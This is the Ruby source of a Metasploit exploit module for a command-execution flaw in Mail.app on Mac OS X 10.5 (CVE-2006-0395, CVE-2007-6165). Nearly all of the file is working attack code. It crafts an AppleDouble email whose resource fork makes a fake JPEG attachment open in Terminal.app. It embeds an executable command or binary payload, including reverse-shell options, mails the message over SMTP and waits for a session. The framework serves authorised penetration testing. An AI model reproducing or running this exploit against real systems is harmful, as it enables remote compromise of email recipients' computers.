Path: blob/master/modules/exploits/osx/email/mailapp_image_exec.rb
36557 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver12include Msf::Exploit::EXE1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mail.app Image Attachment Command Execution',19'Description' => %q{20This module exploits a command execution vulnerability in the21Mail.app application shipped with Mac OS X 10.5.0. This flaw was22patched in 10.4 in March of 2007, but reintroduced into the final23release of 10.5.24},25'License' => MSF_LICENSE,26'Author' => ['hdm', 'kf'],27'References' => [28['CVE', '2006-0395'],29['CVE', '2007-6165'],30['OSVDB', '40875'],31['BID', '26510'],32['BID', '16907']33],34'Stance' => Msf::Exploit::Stance::Passive,35'Payload' => {36'Space' => 8192,37'DisableNops' => true,38'BadChars' => '',39'Compat' =>40{41'ConnectionType' => '-bind -find'42}43},44'Targets' => [45[46'Mail.app - Command Payloads',47{48'Platform' => 'unix',49'Arch' => ARCH_CMD,50'PayloadCompat' => {51'RequiredCmd' => 'generic perl ruby bash-tcp telnet'52}53}54],55[56'Mail.app - Binary Payloads (x86)',57{58'Platform' => 'osx',59'Arch' => ARCH_X8660}61],62[63'Mail.app - Binary Payloads (ppc)',64{65'Platform' => 'osx',66'Arch' => ARCH_PPC67}68],69],70'DisclosureDate' => '2006-03-01',71'Notes' => {72'Reliability' => UNKNOWN_RELIABILITY,73'Stability' => UNKNOWN_STABILITY,74'SideEffects' => UNKNOWN_SIDE_EFFECTS75}76)77)78end7980def autofilter81false82end8384def exploit85exts = ['jpg']8687gext = exts[rand(exts.length)]88name = rand_text_alpha(5) + ".#{gext}"89rand_text_alpha(rand(1..32))9091msg = Rex::MIME::Message.new92msg.mime_defaults93msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(1..32))94msg.to = datastore['MAILTO']95msg.from = datastore['MAILFROM']9697dbl = Rex::MIME::Message.new98dbl.header.set('Content-Type', "multipart/appledouble;\r\n boundary=#{dbl.bound}")99dbl.header.set('Content-Disposition', 'inline')100101# AppleDouble file version 2102# 3 entries - 'Finder Info', 'Real name', 'Resource Fork'103# Real Name matches msf random generated 5 character name - (I cheated ala gsub)104105resfork =106"AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAAAkAAAACAAAA\r\n" +107"UQAABToAAAAAAAAAAAAASGVpc2UuanBnAAABAAAABQgAAAQIAAAAMgAAAAAAAAAAAAAAAAAAAAAA\r\n" +108"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +109"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +110"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +111"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQA\r\n" +112"AAAlL0FwcGxpY2F0aW9ucy9VdGlsaXRpZXMvVGVybWluYWwuYXBwAOzs7P/s7Oz/7Ozs/+zs7P/s\r\n" +113"7Oz/7Ozs/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/5ubm/+bm5v/m5ub/5ubm/+bm\r\n" +114"5v/m5ub/5ubm/+bm5v/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/6enp/+zs7P/s7Oz/7Ozs\r\n" +115"/+zs7P/s7Oz/7Ozs/+zs7P/s7Oz/7+/v/+/v7//v7+//7+/v/+/v7//v7+//7+/v/+/v7//z8/P/\r\n" +116"8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/2\r\n" +117"9vb/+Pj4//j4+P/4+Pj/+Pj4//j4+P/4+Pj/+Pj4//j4+P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8\r\n" +118"/P/8/Pz//Pz8////////////////////////////////////////////////////////////////\r\n" +119"/////////////////////6gAAACoAAAAqAAAAKgAAACoAAAAqAAAAKgAAACoAAAAKgAAACoAAAAq\r\n" +120"AAAAKgAAACoAAAAqAAAAKgAAACoAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAAwAAAAAA\r\n" +121"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +122"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +123"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +124"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +125"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +126"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +127"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +128"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +129"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +130'AAAAAQAAAAUIAAAECAAAADIAX9CsEsIAAAAcADIAAHVzcm8AAAAKAAD//wAAAAABDSF8' + "\r\n"131132fork = Rex::Text.encode_base64(Rex::Text.decode_base64(resfork).gsub('Heise.jpg', name), "\r\n")133134cid = "<#{rand_text_alpha(rand(16..31))}@#{rand_text_alpha(rand(1..16))}.com>"135136cmd = ''137138if (target.arch.include?(ARCH_CMD))139cmd = Rex::Text.encode_base64(payload.encoded, "\r\n")140else141bin = generate_payload_exe142cmd = Rex::Text.encode_base64(bin, "\r\n")143end144145dbl.add_part(fork, "application/applefile;\r\n name=\"#{name}\"", 'base64', "inline;\r\n filename=#{name}")146dbl.add_part(cmd, "image/jpeg;\r\n x-mac-type=0;\r\n x-unix-mode=0755;\r\n x-mac-creator=0;\r\n name=\"#{name}\"", "base64\r\nContent-Id: #{cid}", "inline;\r\n filename=#{name}")147148msg.parts << dbl149150send_message(msg.to_s)151152print_status('Waiting for a payload session (backgrounding)...')153end154end155156157